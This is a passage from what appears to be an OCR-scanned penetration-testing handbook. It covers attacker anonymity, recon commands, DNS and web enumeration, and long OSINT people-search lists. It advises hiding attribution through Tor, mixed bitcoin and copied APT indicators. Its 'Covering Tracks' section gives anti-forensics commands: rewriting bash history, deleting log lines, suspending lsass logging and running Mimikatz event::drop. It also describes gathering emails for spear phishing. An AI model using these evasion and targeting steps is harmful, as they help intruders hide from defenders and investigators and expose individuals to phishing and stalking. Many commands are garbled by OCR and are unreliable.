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Precautions

Precautions

Encrypt your hard drive

Use anonymous payment like bitcoin for cloud servers (see CryptoMining on how to
generate without traceability). A Bitcoin mixer can help ensure that it is more
difficult to make Bitcoin traceable.

Change your encryption keys on Kali from default or your traffic can be decrypted

Use a virtual machine with all traffic routed through Tor projects like Whonix, Tails,
Qubes TorVM, etc. Here'’s a comparison link.

Connect to a VPN like PIA or through rotating cloud hosting vpns or bridge node first
before connecting to Tor.

Cloud services in different countries have different types of laws and are more likely
to attract pen testers.

Set your Android location settings to point to an app and use FakeGPS. Note your
location will still be tracked by cell towers. Turning your phone off will make you
appear in the last known cell tower location.

macchanger —A ethO :change your MAC address

Attribution

Change servers, domain names, emails, etc

Use tools publicly available

Use indicators of APTs in your code to emulate attribution:

Kiran Blanda maintains a GitHub repository with copies of public threat intelligence
reports

Companies can pay for intel reports from Kaspersky and CrowdStrike

Cloud Hosting Solutions (First piece of Misattribution)

*note I jotted down these from some actual attacks from these cloud hosting solutions

DigitalOcean :several countries available

Virtuzo :Worldwide Cloud Hosting

OneProvider :Worldwide Cloud Hosting

PhotonVPS :Worldwide Cloud Hosting

Linode :Various geographic Cloud Hosting

Vultr :16 countries, reference

Huawei : (use Google Translate), popular Chinese audio streaming service
(Netease cloud music) uses this

Baehost :Argentina cheap cloud hosting

Hetzner :German cloud hosting, nothing coming out of here is good

ovh.com :France cheap cloud hosting

esecuredata.com :Canadian cheap cloud hosting

webhuset.no :Norwegian cheap cloud hosting

mirohost.net :Ukranian Cloud Hosting

estoxy.com :Estonian Cloud Hosting

vietnex.nv :Vietnamese Cloud Hosting / Proxy

XSServer GmbH :German Cloud Hosting

tencent :Chinese cloud hosting solution, also DCs in US, Russia, Korea, etc

Mean Servers :US Cloud Hosting

linode :they have 172 addresses which could be useful for blending if

target network uses private 172 addresses
hostinger :cheap servers, ultimately ties back to google cloud

Route Exfil
ProxyCannon-ng :works across svc providers, stands up compute nodes, routes, RRobin

Covering Tracks

“cmd”

meterpreter: never drop to shell, always use multicommand —-cl
meterpreter: never use clearev
*when tunneling always use ephermeral ports corresponding to 0OS you’re on, rule of

thumb is most 0S’s have a range that fall 50,000-60,000

Linux
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https://www.whonix.org/
https://tails.boum.org/
https://www.qubes-os.org/doc/privacy/torvm/
https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
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https://twitter.com/kbandla
https://www.usenix.org/conference/lisa-09/advanced-persistent-threat
https://www.usenix.org/conference/lisa-09/advanced-persistent-threat
https://securelist.com/
https://www.crowdstrike.com/blog/
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Reference:
https://digi.ninja/blog/hiding bash history.php#:~:text=unset%20HISTFILE%20%2D%20
Clears%20the%20variable, 0f%$20commands%20to%20not%201log

unset HISTFILE tas soon as you log in, or history —c to clear if you forget

check to make sure, sometimes security replaces unset with a null binary

export HISTFILESIZE=10 :may be less inconspicuous than history -c

history -c vs -r :—c clears, but -r rereads hist file, which resets to how it was
when you logged in, writes out amended history w/no evidence of changes.

set +o history :Doesn’t write any of current session to the log, can be ran at any
time during session and will hide all commands

set -o history :Turns logging back on but logs the set cmd so obvious something
happened

kill -9 $ :killing a bash processs ID does not write history, but ssh proc ID does

even with a -9

touch -t 2012122316.46 /var/log/secure

Timestomping NOT RECOMMENDED, milliseconds always set to 0, plus change time. Also
doesn’t show change time because it goes off inode # - you’d have to change system
time which causes issues. stat /var/log/secure to see example.

grep —-rsh <ip,user> /var/log | sort |grep —-v <ip,user>|sort :-v deletes, —i case
*-r is supposed to be recursive may need to also check /var/log/audit/audit.log

Windows

Suspend the lsass process threads so it stops logging.

powershell -verson 2 -Command <..> :downgrade powershell can with evasion

*The next two are for ConsoleHost history text file but still other logs
Set-PSReadlineOption -HistorySaveStyle SaveNothing :unset hist file (PSv5)
Remove-Module -Name PsReadline :unset hist file (PSv)5)
-w hidden :windows style hidden
-Nop :don’t load PS profile
-Noni :don’t prompt user
-Exec Bypass :bypass exe policy

-e —while you may need to download stuff encoded to bypass stuff this is NOT stealthy

Used to have to clear all (not recommended at all). Possible to to selective deletes
Mimikatz: event::drop

DanderSpiritz: eventlogedit

Invoke—-PhantOm thread killing

Burpe Note

You can modify your Burpe Javascript file so that it doesn’t phone back home, plus
helps evasion. Unpack the main burpsuite free.jar to modify it.

Disposable Registrations

10 second mail :super handy
Gmail - <email>+n@gmail.com — still routes back to gmail but most think= original (-n)
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Reports

Cherry Tree Templates

https://411lhall.github.io/assets/files/CTF template.ctb
https://github.com/unmeg/hax

MITRE ATT&CK (Self Assessment & Test)

Populate framework based on Threat Actor
Map APT Names across vendors

Self Assessment: OSSEM Power-Up :less intensive

Self Assessment: ATTACKdatamap :more intensive

Self Assessment: Litmus Test :basic test

Caldera :Adversary Emulation
VECTR :Better than Caldera

Infographics & Data Visualization

Adobe Color CC
Aeon
Arbor.js
Beaker
Befunky
Bizint

Cacoo

Canva
chartblocks
Charted
Chartico
Chart.js
Circos
creately
Crossfilter
csvkit

Data Visualization Catalogue
D3js
Datawrapper
Dropmark
dygraphs
easely
Exhibit

Flot
FusionCharts
Google Developers: Charts
GraphX
Helpmeviz
Highcharts
Hohli
Inkscape
Infogr.am
Java Infovis Toolkit
JpGraph
jgPlot
Kartograph
Knoema
Leaflet
Listify
Linkuroius
LocalFocus
Lucidchart
Mapline
Nodebox
Openlayers
Palladio
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https://411hall.github.io/assets/files/CTF_template.ctb
https://github.com/unmeg/hax
https://mitre-attack.github.io/attack-navigator/enterprise/
http://apt.threattracking.com/
https://github.com/hxnoyd/ossem-power-up
https://github.com/olafhartong/ATTACKdatamap
https://github.com/kirtar22/litmus_test/
https://github.com/mitre/caldera
https://github.com/SecurityRiskAdvisors/VECTR

Piktochart
Pixcone

Pixxa

Plotly
SpicyNodes
StoryMap
QlikView
Quadrigram
Raphael

RAW
RichChartLive
Shanti Interactive
Silk

Snappa
Statpedia
Tableau
Tableau Public
Tagul
Textures.js
Tiki-toki
Tik-tok
Timeflow
Timeglider
Timeline
Timeline
Timescape
Timetoast
Weave

Wordle
Venngage
Visage

Vis.js

Visme
Visualize Free
Visualize.me
visually
Vortex
ZingChart
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Passive Recon

Whois Enumeration

whois site.com

Google Hacking

:can find people,hosting companies,

*note also see recon-ng section in Active Recon for integration w/GHDB

site: [url]
site:Microsoft.com —site:www.microsoft.com
numrange: [#]..[#]

date: [#]

link: [url]
related: [url]
intitle: [string]

intitle:”netbotz appliance” “OK —filetype:pdf

intitle: “index of” “parent directory”
inurl: [string]
inurl:”level/15/exec/—-/show”
filetype: [xls] [php]l [pdf]

ext:jsp, ext:cfm, ext:pl, ext:php
phonebook: [name]

filetype:pdf “password” site:site.com
site:site.com -filetype:html

Fast Google Dork Scan:

:search only one url

:ex showing subdomains

:search within a number range
:search within past [#] months
:find pages that link to url
:find pages related to url

:find pages with [string] in title

etc

rexample showing appliances on the net

:dir listing pages w/out index pages

:find pages with [string] in url
:ex showing open cisco routers
:find files that are xls
:indexed Java pages, coldfusion,

:find phone book listings of [name]

:look for password
:the — excludes html from results

https://github.com/IvanGlinkin/Fast-Google-Dorks—-Scan

Google Hacking DataBase

https://www.exploit-db.com/google-hacking-database

Examples:

allintitle:"Login | wplogin Login
intitle:"index of /" "docker-compose.yml" ".
inurl:/superadmin/login intext:login

DNS Recon / Online Tools

env

"

https://github.com/hdm/inetdata
https://searchdns.netcraft.com
https://www.shodan.io/
https://securityheaders.com/
https://www.ssllabs.com/ssltest/
DNS Dumpster

NerdyData

Carrot2

2lingual

Maltego

Recon-ng

:Inetdata: ~300-400MB/month
:Netcraft recon

: hostname:site.com

:basic analysis of security posture
:SSL test, also Poodle/Heartbleed
:domain research tool

:searches known snips of code
:keyword search visualization

:very helpful for international jobs

:see Maltego section

recon-ng
>marketplace search github

Search Google with site operator

:start recon-ng

perl

:search for github modules for recon-ng
*anything with a * in the K column requires API key

>marketplace install recon/domains-hosts/google site web
> modules load recon/domains-hosts/google site web

> info
>options set SOURCE site.com
>run

*stores results to feed into other modules
>show hosts

https://t.me/learningnets
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*Resolve ips for hosts we enumerated
>marketplace info recon/hosts-hosts/resolve
>marketplace install recon/hosts-hosts/resolve
>modules load recon/hosts-hosts/resolve

>info

>run

>show hosts

Open Source Code
Open Source Code: GitHub, GitLab, SourceForge, Stack Overflow, forums, etc

https://github.com/michenriksen/gitrob :Gitrob
https://github.com/gitleaks/gitleaks :GitLeaks
recon—-ng modules :marketplace search github

Github Search for parameters like filename:users
Google Hacking: site:github.com users

Reconnaissance Against Sites

https://www.exploit-db.com/google-hacking-database/ :Google Hacking Database

https://www.shodan.io/ :Google equivalent for security
https://crt.sh/ :subdomain enum

https://censys.io/ :good for reconning hosts
https://sitereport.netcraft.com/ rindirect recon against web servers
whois <domain> :basic info including owner

whois <ip> :basic info including owner

GoBuster (for recon)
./gobuster dns -d <domain> -w <wordlist> --wildcard :DNS enum (also searches Cert
Transparency)

OSINT w/Spiderfoot

Spiderfoot is Windows application running local web app TCP 5001.
127.0.0.1:5001

Shows scans. Status view shows plugins used to evaluate, the Search Engine’s Web
Content usually returns most results but not the most useful plugin

Graph view shows which plugins seeded others

Co-Hosted Site Domain Name module shows DNS names associated with targets
Email Address module shows emails

Hacked Email Address module are emails in known hacks

Web Technology plugin shows web platforms server tech and web frameworks

MetaData Harvesting: ExifTool

exiftool [filename] rextract metadata like usernames, etc
exiftool *.docx *.pdf
exiftool *.docx *.pdf | grep -I -E “author|editor|application|producer”

MetaData Harvesting: Strings

wget —nd —-R htm, html, asp, aspx, cgi —P /tmp/metadata [targetdomain] :pull website
strings /tmp/* | grep —-i firewall :search md for “firewall” string
strings /tmp/* | grep —i password :search md for “password” string
other search strings: authentication, security, finance, e-mail, <people’s names>

Pull Websites Offline

wget —nd —-R htm, html, asp, aspx, cgi —P /tmp/metadata [targetdomain] :linux
(New-Object System.Net.WebClient) .DownloadFile (http://site,c:\site.html”); gc
c:\site.html :Powershell-pull single site down

Metagoofil

Not as good any more due to Google captcha — best used for non-Google search engines
First performs Google search to id and dl documents to target disk
Next extracts file metadata w/diff libraries such as Hachoir, Pdfminer, others

User Information Gathering

Our purpose for gathering this information is to compile user or password lists, build
pretexting for social engineering, augment phishing campaigns or client-side attacks,
execute credential stuffing, and much more. However, the rules of engagement vary for

10
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each penetration test. Employees' personal devices, third party email, and social media
accounts usually fall outside this authorization.

Leaked / Compromised Web Search

Pastebin :often dumped breach creds on pastebin
haveibeenpwned.com :useful OSINT

DLPDiggity :search for leaked SSN, PII, etc
SearchDiggity :search for website exploiting browsers

Email Harvesting / Subdomain Enumeration

*theharvester became theHarvester and doesn’t support Google any more?
**deprecated: theharvester —d cisco.com —-b google > google.txt
**deprecated: theHarvester —d cisco.com -b linkedin > linkedin.txt

theHarvester —d cisco.com -b pgp > pgp.txt :search for encrypted emails
theHarvester —d cisco.com -1 10 -b bing > bing.txt tharvest through Bing
theHarvester —d cisco.com —-b baidu > baidu.txt

theHarvester —d cisco.com -b duckduckgo > duckduckgo.txt

theHarvester —d cisco.com -b github-code > github-code.txt

theHarvester —d cisco.com -b yahoo > yahoo.txt

*also note the email format (i.e. first.last), could be useful for targeting
*credential stuffing, look for places like Pastebin for dumped creds

Verify 0365 Emails

https://github.com/Raikia/UhOh365

Social Media Tools

https://www.social-searcher.com/
recon-ng
theHarvester

https://digi.ninja/projects/twofi.php :scan Twitter & gen passwd
https://github.com/initstring/linkedin2username :gen username lists based on LinkedIn

11
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Active Recon

Maltego

Domain/L3 scan great starting point — refer to Maltego chapter

DNS Enumeration

host -t ns megacorpone.com renum DNS servers
host —t mx megacorpone.com renum mail servers
host -1 <domain name> <dns server address> thost cmd for zone transfer

ex: host -1 megacorpone.com nsl.megacorpone.com

dnsrecon —d megacorpone.com —t axfr rautomated zone xfer tool

dnsenum zonetransfer.me ranother automated zone xfer tool

dig @<server> <domain> -t AXFR :dig sometimes works when nslookup wont
dig

dig @server ip A www.site.com :query A record for site

dig +short @server ip A www.site.com :less verbose

dig +short @ip AXFR site.com :Domain transfer

dig +short @ip MX site.com :Mail records

*protection.outlook.com is 0365

nslookup:

C:\>nslookup

>server dnsserver

>set type=AXFR

>1s -d targetdomain :zone transfer attempt

Automated DNS Guessing
sudo nmap --script dns-brute --script-args dns-brute.domain=site.com
:wordlist contained in /usr/share/nmap/nselib/data/vhosts-default.lst
More detailed list: https://github.com/danielmiessler/SecLists
awk ‘{print “algorithm-“$1}’" labs/dns/namelist.txt > company-namelist.txt :create custom

Rerun using our custom wordlist:
sudo nmap --script dns-brute --script-args dns-brute.domain=company.com,dns—

brute.hostlist=company-namelist.txt

Subdomain script enumeration example:

wget www.cisco.com :download cisco index page
grep “href=" index.html | cut —d “/” —f 3 | grep “\.” | cut -d ” —f 1 | sort —u

rex of cutting subdomains out of index
for url in $(cat list.txt); do host S$Surl; donel|grep “has address” | cut -d “ —-f 4 |
sort —u :get ips for subdomain list

DNSRecon.py

www.github.com/darkoperator/dnsrecon :Google enum, crt.sh cert transparency
logs, mDNS and local domain enum, zone xfer capability, dns brute force wordlist

URL Wordlist

CommonSpeak?2

Subdomain Enum

./dnsrecon.py --iw -d host.com -t crt > dnsrecon-output.txt :(/opt/dnsrecon)
cat output.txt | cut -c9- | cut -fl -d “ “ | grep domain > cutlist.txt :trim

“

[+] Querying $i”; dig -t txt +short $i; done
:look for valid domains

for 1 in S$(cat cutlist.txt); do echo

Host Scraping from subdomains

./dnsrecon.py --iw -d subdomain.domain.com -D subdomains-5k.txt -t brt,crt --threads 10
—-c dnsrecon.csv
cat dnsrecon.csv | awk -F, ‘{print $3 }' | grep -v Address | grep -v : | grep -v ‘*$’
sort -u > ips.txt :save off ips to separate file
Recon-ng

12
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http://www.site.com/
http://www.site.com/
http://www.github.com/darkoperator/dnsrecon

recon-ng :start recon-ng

show options :show variables

show modules :contacts, credentials, domains, etc
search domains-hosts :diff searches like google, shodan,etc
search resolve :search modules that would resolve names
use recon/domains-contacts/whois pocs remployee names & emails plugin

use recon/domains-vulnerabilities/xssed rexisting XSS vulns

use recon/domains-hosts/google site web :search additional subdomains

use recon/hosts-hosts/ip neighbor :discover neighboring IP addresses
show info :view module description

set SOURCE cisco.com :set a specific source

add netblocks 10.10.10.0/24 :specify a range of ips

run :last command to run

show hosts :view after running against ip range

Google Hacking Integration

>use ghdb

>set SOURCE cisco.com :set our target url

>set :see associated options

>set GHDB FILES CONTAINING USERNAMES true :example search for usernames
>search report :see the different output options
>use reporting/csv :set our output to csv

>run

Add API Keys

>keys rinfo

Google: create project here, then create credentials and select API keys (then enable)
Full list of steps for apis: hsploit.com/recon-ng-adding-api-keys-database-commands-
and-advanced-scanning/

>keys add api key name <api key> radd your api key

13
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https://console.developers.google.com/apis/
https://console.developers.google.com/apis/credentials

Web Recon

CeWL (Crawl & Wordlist Generation) :https://digi.ninja/
Cewl.rb -m 8 -w whitehouse.txt -a —-meta file whitehouse-meta.txt -e —email file
whitehouse-email.txt https://www.whitehouse.gov/ :content, metadata,strings

IP Address Info

nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

Robots.txt Scan

nmap -n —script=http-robots.txt.nse <ip> -p 80,443

Nmap NSE Scripts

-sC :use default scripts to eval target
--script banner :run names script banner against target
--script-help “http*” :info about http* scripts

--script “http*” :run all http scripts

Web Server Scanners

Sparta
Noisy but several tools built in

Nikto

./nikto.pl -h <ip> -p <ports> -output <file> :www.cirt.net;free; can be Nessus plugi
wikto (port of Nikto to Windows in .NET) IWWw.sensepost.com

Dirbuster :folder enum built in to Kali

dirb http://ip /usr/share/dirb/wordlists/big.txt
uses common wordlist by default
dirbuster; (opens gui); http://ip:port/ & specify wordlist (see Gobuster for common)

Gobuster :folder enum — I like better than dirB
gobuster dir —e —u http://ip:port/ -w /usr/share/wordlists/dirb/common.txt :new
Subdomain Enum

./gobuster dns -d <domain> -w <wordlist> --wildcard :DNS enum (also searches Cert
Transparency)

Host Scraping

/opt/gobuster dns -d subdomain.domain.com -w subdomains-5k.txt

Burpe
Commercial tool, only a couple hundred a year, well worth it for pen testers
Burpe Basics Demonstrated against DVWA

Firefox / Fiddler
Sometimes it’s just easier to replay packets in FireFox dev tools / Edit and Send.

Wfuzz
python wfuzz.py -c -z file,wordlist/general/common.txt —--hc 404 http://site/FUZZ

sfuzz
sfuzz -S e07-target.allyourbases.co -p 8144 -T -f /usr/share/sfuzz/sfuzz-
sample/basic.http

Web Recon (Louis Nyffeneger)

Check robots.txt files for interesting files
Generate 404 errors to look for any leaked data
Look for a security.txt file (.well-known/security.txt)

DIRECTORY LISTING
Check the /admin/ directory.

Check for 301/redirects: curl http://site.com/admin --dump-header -

https://t.me/learningnets
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https://www.whitehouse.gov/
http://ip:port/
http://ip:port/
https://www.youtube.com/watch?v=G3hpAeoZ4ek&feature=youtu.be
http://www.edge-security.com/wfuzz.php
http://site/FUZZ

When accessing a directory on a webserver, multiple things can happen:

an "index" file is present and it will get returned. N.B.: the file is not necessarily
named index, this can be configured. But most of the time, the file will benamed
index.html

no "index" file is present and the webserver will list the content of the directory.
This can obviously leak information.

Indexing directory can be disabled on most webservers. For example, with Apache, you
need to use the option: -Indexes.

To find directories, with indexing turned on. You need to browse the source of the HTML
pages and look at the directories used to store files. Once you have a list of
directories, you can access each of them individually.

Use tools like Wfuzz, ffuf, or patator to look for other directories:

docker run -it python /bin/bash

mkdir /code

cd code

git clone git://github.com/xmendez/wfuzz.git

cd wfuzz

python setup.py install

./wfuzz

./wfuzz -c -z file,wordlist/general/common.txt —--hc 404 http://site.com/FUZZ

Using IP and host headers

When accessing a new webserver, it often pays off to replace the hostname with the IP
address or to provide a random Host header in the request. To do this, you can either
modify the request in a web proxy or use:

dig site.com :find ip
curl http://ip/ -v :verbose
curl http://url/ -v -H "Host: test" :sometimes can get different version

ALTERNATIVE NAMES

When accessing a TLS server, it often pays off to check the content of the certificate
used. It's common for TLS servers to have certificates that are valid for more than one
name (named alternative names). Looking for alternative names can be done in your
client or by using openssl.

Click the lock next to the URL bar / Certificate / Details tab / Subject Alternative
Names.
Make sure you are trying the https:// urls.

HEADER INSPECTION

When accessing a web server, it often pays off to check the responses' headers. It's
common to find information around version and technologies used.

curl https://site.com/ --dump-header - -o /dev/null

VISUAL RECONNAISSANCE
If you haven't done visual reconnaissance before, you can try to use the tool Aguatone
to get images that you can browse easily to find the right key.

VIRTUAL HOST BRUTE FORCING
Sometimes you can brute force a virtual host by only manipulating the Host header.
Sometimes there is no DNS resolution setup.

docker run -it golang

go get -u github.com/ffuf/ffuf

git clone htpps://github.com/xmendez/wfuzz

ffuf -w wfuzz/wordlist/general/common.txt —-u https://site.com -H "Host: FUZZ.site.com"
-fr recon_ 07

curl https://site.com -H 'Host: admin.site.com'

LOAD BALANCING
Serving requests for a single application can be done by multiple backends. It can pay

off to send the same request multiple times to check if multiple backends are involved.

TXT RECORD
TXT records are often used to show that people own a domain or to store information to
configure services, it's always a good idea to check for those.

15
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dig -t TXT key.z.site.com

ZONE TRANSFER

Zone transfers are usually used to synchronise multiple DNS servers. Only a list of
pre-defined hosts should be able to perform this operation. However, it's sometimes
possible to retrieve this information and can give you access to new hosts.

dig AXFR z.site.com

dig -t SOA AXFR z.site.com

dig -t NS AXFR z.site.com

dig AXFR z.site.com @z.site.com

dig AXFR int @z.site.com :ask external servers about internal info

BIND
Bind is one of the most common DNS server used. If you know how to ask, it will reveal
you its version.

dig chaos txt VERSION.BIND @z.site.com

GITHUB

look at the name of the developer who committed code for the organisation in the
repository on Github (you will need to find the Github account for the company first).
Developers often commit with the wrong email address and that may leak some information
about personal accounts or internal systems.

git clone https://github.com/company/repo/

cd repo

git log

It's important to look at all branches as they may be used to store sensitive

information.

git clone https://github.com/site/repo
cd repo

git branch

git branch --remote

Also you can look at various branches by clicking the dropdown on the github page.

Often, when committing secrets by mistake, developers Jjust remove the file and commit
again. Leaving the information available for anyone willing to search for it. It's
important to look at commit messages and search for keywords.

git clone https://github.com/site/repo

cd repo

tig

AWS

Amazon Web Services Storage Service (S3) allows file owners to set permissions on
files. Historically, the rules "Any users" wasn't well explained and lead a lot of
people to think only people in their Amazon account could access a file. However, this
was allowing any AWS account to access the file.

https://site.com/key2.txt - access denied

brew install awscli

*AWS IAM (web) - create pid / key id and secret by creating a new user
aws configure

cd ~/.aws

cat credentials :stored here

aws s3

aws s3 1ls s3://assets.site.com :often the name of the bucket is the name of the
server

aws s3 cp s3://assets.site.com/key2.txt key2.txt :sometimes even if you can't 1ls

you can still copy

MANUAL REVIEW OF LOADED SCRIPTS
It's essential to inspect JavaScript files for hardcoded keys. Inspect the page and
manually review any loaded scripts.
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Open Source Intelligence (Maltego)

Maltego

Interactive Data Mining tool
**Attribution evasion with once exception (see next)
Anonymity: Important note is that in most cases information is downloaded to the

Maltego server, then to your local client — meaning the external entity will see
Maltego servers querying you not your external facing ip. However, this does not apply
to downloading images — it goes directly to your. There are two options. First option

is to set up a proxy. Second option is to turn off auto-downloading images under
Settings / Miscellaneous.

Maltego Transforms Worth Noting

ThreatGrid :tie your Cisco products together
Shodan :
Social Links Facial Recognition :paid subscription, free ver has darkweb

External Recon (Infrastructure) / Footprinting (Full walkthrough, not all steps apply to situations)

Short Version
Create domain entity (i.e. army.mil)
On left hand side click Machines

Footprint L1 :Only down the path once - fast and simple

Footprint L2 :L1 plus Shared NS/MX and Shared websites

Footprint L3 :1L2 plus reverse on netblocks, domains from reverse DNS, builtwith
Footprint XXL :lots of false positives needs a lot of result tuning

Find Wiki Edits :Look for Wiki edits from their ip ranges (if they didn’t sign in)
Company Stalker :email addresses from a domain, social networks, and metadata

How to Create Your own Machine Macro with additional transforms

Long Version
Enumerate External Infrastructure
Create domain entity (i.e. army.mil)
Transform / Paterva CT / DNS from Domain (the whole group of 9)
Transform / Paterva CT / Resolve to IP (the whole group)
Transform / All Transforms (no group) / To NetBlock [natural boundary]
—-it is not in a group because you only want to use 1, not all 3
Transform / All Transforms / To AS number
Transform / All Transforms / To Company [Owner] — may need to select by type 1°°

Then go back up in Reverse to find related info
Select by Type [AS] / To Netblocks in this AS
Select by Type [Netblock] / To DNS Names in Netblock [Reverse DNS]

Shared Infrastructure

Select by Type [MX records] / To Domains (Sharing this MX)
Select by Type [NS records] / To Domains (Sharing this NS)
Select by Type [DNS] / To Domain

All In-House Strategy (large companies)
Shared MX for more domains

Shared NS for more domains

Hosts multiple web servers on single host
Look for patterns in configuration (mxl,mx2)
Cyclical footprinting process

Hybrid Strategy (company controls some internally, outsource some)

Look at shared infrastructure they control (MX, NS, SOA, SPF, Websits, DNS)
Validate you are still in targets infrastructure:

Validate domains — whois

Validate ips — whois, reverse DNS

Outsourced Strategy
Shared infrastructure on MS/NS is out
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https://www.paterva.com/web7/buy/maltego-clients/maltego.php
https://www.cisco.com/c/en/us/products/security/threat-grid/index.html
https://www.shodan.io/
https://mtg-bi.com/content/face-recognition-0
https://docs.paterva.com/en/developer-portal/machines/

Almost nothing points to IPs in real network

Search at internet registry (ARIN/RIPE/APNIC/etc), usually in whois
Reverse DNS

Search IP on Internet via search engine

Wikipedia entries (Wikipedia transforms)

Personal Strategy

No infrastructure to enumerate

Email to individual with clickable link, embedded image
Legal route — subpoena for ISP

External Recon — Service Enumeration

Enumerate other sites

Create domain entity (i.e. army.mil)

Transform / Paterva CTAS / DNS From Domain / To Website Using Domain [Bing]
Transform / All Transforms / To Tracking Codes

Transform / All Transforms / To Other Sites with Same Code

Service Enumeration (continued)

Investigate Tab / Select by Type / Website

Transform / Paterva CTAS / All / To Server Technologies [Using BuiltWith]
Look for unpatched, exploitable services

*alternatively, you can go to https://builtwith.com and use outside maltego
**Maltego Teeth allows integration with the MetaSploit Database

External Recon — Attribution

Enumerate Attribution from File MetaData (possible user names, social engineering
targets, etc)

Create domain entity (i.e. army.mil)

Transform / Paterva CTAS / Files and Documents from Domain (group of 2)

Transform / Paterva CTAS / Parse Meta Information

Figure Out Email for Company

Email Addresses From Domain (group of 3)

To DNS Name — MX (mail servers)

To Domain (convert)

Email Addresses From Domain (group of 3)

If you still aren’t finding anything, google contact “company”, look for domain name
they use then run Email Addresses from Domain

Spear phish based on that information

Add entity - Type Personal / Person

Autopopulate name based on naming convention from previous step
All Transforms / Verify Email Address Exists

Pivot for Other Emails based on company emails
To Email Addresses [PGP]

Reverse Picture search
Type in someones number on WhatsApp, then do reverse picture search

Twitter Geographic Search
Convert an address to GPS coordinates online, i.e. https://www.latlong.net/convert-

address-to-lat-long.html

Transforms / Paterva CTAS / To Circular Area
Then To Tweets From Circular Area

To Twitter Affiliation [Convert]

https://t.me/learningnets
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https://builtwith.com/
https://tools.kali.org/information-gathering/maltego-teeth
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https://www.latlong.net/convert-address-to-lat-long.html

Open Source Intelligence

Massive Compendium

https://gist.github.com/heywoodlh/07570f45ealad4c74b79d4b897847eabd

Automated OSINT

Recommended in SEC588: https://github.com/smicallef/spiderfoot

Email

First Step: Email Verification
hunter.io/email-verifier
verify-email.org
tcpiputils.com/email-test
tools.verifyemailaddress.io

Attempt to Discover Related Emails
manual email assumptions
@hotmail.com, @live.com, etc.
findanyemail.net
inteltechniques.com/OSINT/email.html

Compromised Accounts
haveibeenpwned.com
hacked-emails.com

Social Network
manycontacts.com/en/mail-check
pipl.com

:manual

:provides pdf/excel report
:@microsoft.com; @yahoo.com;
:full name -> email

rautomated, taken down mid-2019, offline

:gold standard for breached accounts
ralt source

rindividual lookup is free

https://en.gravatar.com/site/check/email@mail.com :

thatsthem.com

Email Metadata
whoxy.com/reverse-whois
domainbigdata.com
dnstrails.com
whoismind.com
analyzeid.com

Additional
Breach OR Clear
Custom Email Search Tools
BriteVerify Email Verification
Email Address Validator
Email Format
Email Hunter
Email Permutator+
Emails4corporations
EmailSearch.net
Email Validator
Email Validator Tool
Peepmail
ReverseGenie
Toofr

:occasionally good

VoilaNorbert - Find anyone's contact information for lead research or talent

acquisition.

User Names

knowem.com
namechk.com
checkusernames.com
usersearch.org
namevine.com
pipl.com
peekyou.com
com.lullar.com

https://t.me/learningnets

:one of most comprehensive searches
:download as csv useful
:knowem+NameChk, provides links
:provides actual profile results
:multiple search speed

:good for emails & user names
:encourages first/last name

:good -> email/screenname,bad->real name
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gsershertock-com/fuserseareh :DON'T use — discloses info
findmysnap.com :can find area code for user name
web.skype.com :Skype user could give valuable metadata
inteltechniques.com/OSINT/username.html :taken offline

Custom Username Tools

Gaddr - Scan 50+ different websites for usernames.

People Search

411 (US)

192 (UK)

Alumni.net

Ancestry

Canada4ll

Cedar

Charlie App

Classmates

CrunchBase

Custom Person Search Tools
CVGadget

Data 24-7

Gaddr

facesearch - Search for images of a person by name.
Family Search

Family Tree Now

Federal Bureau of Prisons - Inmate Locator (US) - Find an inmate that is in the
Federal Bureau of Prisons system.

Fold3 (US Military Records) - Browse records of US Military members.

Forebears

Genealogy Bank

Genealogy Links

Hey Press (Search for Journalists)
Homemetry

Infobel

Infospace White Pages
Interment

International White and Yellow Pages
Itools

Kompass

LookUpUK

Lullar

MarketVisual

MelissaDATA

My Life People Search
The National Archives (UK)
PeekYou

People Search (Australia)
PeopleSearch.net

Pipl

Rapportive

RecordsPedia

Recruitem

Reunion

Rootsweb

SearchBug

Skip Ease

snitch.name

SnoopStation

Spokeo

Switchboard

That’sThem

USSearch

WebMiii

White Pages (US)

Wink

Yasni

Zabasearch

Zoominfo

Phone Number Search

National Cellular Directory - was created to help people research and reconnect

https://t.me/learningnets
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with one another by performing cell phone lookups. The lookup products includes have
billions of records that can be accessed at any time, as well as free searches one hour
a day, every day.

NumSpy-API - find details of any mobile number in india for free and get a JSON
formated output, inspired by NumSpy.

Reverse Phone Lookup - Detailed information about phone carrier, region, service
provider, and switch information.

Spy Dialer - Get the voicemail of a cell phone & owner name lookup.

Twilio - Look up a phone numbers carrier type, location, etc.

Phone Validator - Pretty accurate phone lookup service, particularly good against

Google Voice numbers.

Social Media

Major Social Networks
Draugiem (Latvia)
Facebook

Facenama (Iran)
Google+

Instagram

Linkedin

Mixi (Japan)
Odnoklassniki (Russia)
Pinterest

Qzone (China)

Reddit

Taringa (Latin America)
Tinder

Tumblr

Twitter

Weibo (China)
VKontakte

Xing

Real-Time Search, Social Media Search, and General Social Media Tools
Audiense
Bottlenose
Brandwatch
Buffer
Buzz sumo
Flumes
Gaddr
Geocreepy
Geofeedia
Hootsuite
HowSociable
Hashtatit
Icerocket
Klear
Klout
Kred
MustBePresent
Netvibes
OpinionCrawl
Rival IQ
RSS Social Analyzer
SmashFuse
SocialBakers
SociaBlade
Social DownORNot
Social Mention
Social Searcher
Tagboard
Trackur
UVRX

Social Media Tools (Twitter)
Backtweets
Blue Nod
burrrd.
Crate
Custom Twitter Tools
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doesfollow

Fake Follower Check
FirstTweet

First Tweet
Foller.me
FollowCheck
Followerwonk
Geochirp

GeoSocial Footprint
GetTwitterID
Gigatweeter

Ground Signal
HappyGrumpy
Harvard TweetMap
Hashtagify
Hashtags.org
InTweets
ManageFlitter
Mentionmapp
OneMillionTweetMap
Queryfeed

Rank Speed

Riffle

RiteTag
Sentimentl140
Silver Bird
SnapBird

Sleeping Time
Social Bearing
Social Rank First Follower
Spoonbill

Tagdef
TeachingPrivacy
Tinfoleak

Trends24

TrendsMap

Twazzup

twbirthday

TwChat

tweepsect

Tweetdme
TweetArchivist
Tweet Chat
TweetDeck

Tweeten

TweetMap

TweetMap
Tweetpaths
TweetPsych
Tweetreach
TweetStats

Tweet Tag
TweetTunnel
Twellow

Tweriod
Twiangulate

Twicsy

Twilert

Twipho

Twitonomy

TwitRSS

Twitter Advanced Search
Twitter Audit
Twitter Chat Schedule
Twitter Counter
Twitterfall
Twitter Search
Twitter Search Tools
TWUBS Twitter Chat
Schedule Warble
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Social Media Tools (Facebook)
Agora Pulse
Commun.it
Custom Facebook Tools
ExtractFace
